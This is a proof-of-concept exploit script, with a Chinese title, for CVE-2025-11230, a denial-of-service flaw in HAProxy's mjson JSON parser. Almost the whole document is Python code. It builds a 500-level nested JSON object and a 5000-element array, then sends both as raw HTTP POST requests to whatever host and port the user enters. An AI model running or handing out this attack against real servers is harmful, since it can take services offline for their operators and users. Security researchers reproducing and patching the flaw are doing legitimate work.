CVE-2025-11230 HAProxy mjson库算法复杂度DoS漏洞

import socket import json import time def create_malicious_json(depth=100): """ Generate deeply nested JSON to trigger algorithm complexity issue in HAProxy mjson library """ payload = {} current = payload for i in range(depth): current[f'level_{i}'] = {} current = current[f'level_{i}'] return json.dumps(payload) def create_explosive_json(element_count=1000): """ Generate JSON with many repeated elements to cause exponential parsing time in mjson """ return json.dumps({'data': [{'key': f'value_{i}'} for i in range(element_count)]}) def exploit_cve_2025_11230(target_host, target_port=80): """ PoC for CVE-2025-11230: HAProxy mjson DoS vulnerability Sends crafted JSON to trigger inefficient algorithm complexity """ # Method 1: Deep nesting attack nested_payload = create_malicious_json(depth=500) # Method 2: Element explosion attack explosive_payload = create_explosive_json(element_count=5000) for i, payload in enumerate([nested_payload, explosive_payload]): print(f'Sending attack payload {i+1}...') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_host, target_port)) request = f'POST / HTTP/1.1\r\n' request += f'Host: {target_host}\r\n' request += f'Content-Type: application/json\r\n' request += f'Content-Length: {len(payload)}\r\n' request += f'\r\n{payload}' sock.sendall(request.encode()) print(f'Payload {i+1} sent successfully') except Exception as e: print(f'Error sending payload {i+1}: {e}') finally: sock.close() time.sleep(1) if __name__ == '__main__': target = input('Enter target HAProxy host: ') port = int(input('Enter port (default 80): ') or '80') exploit_cve_2025_11230(target, port)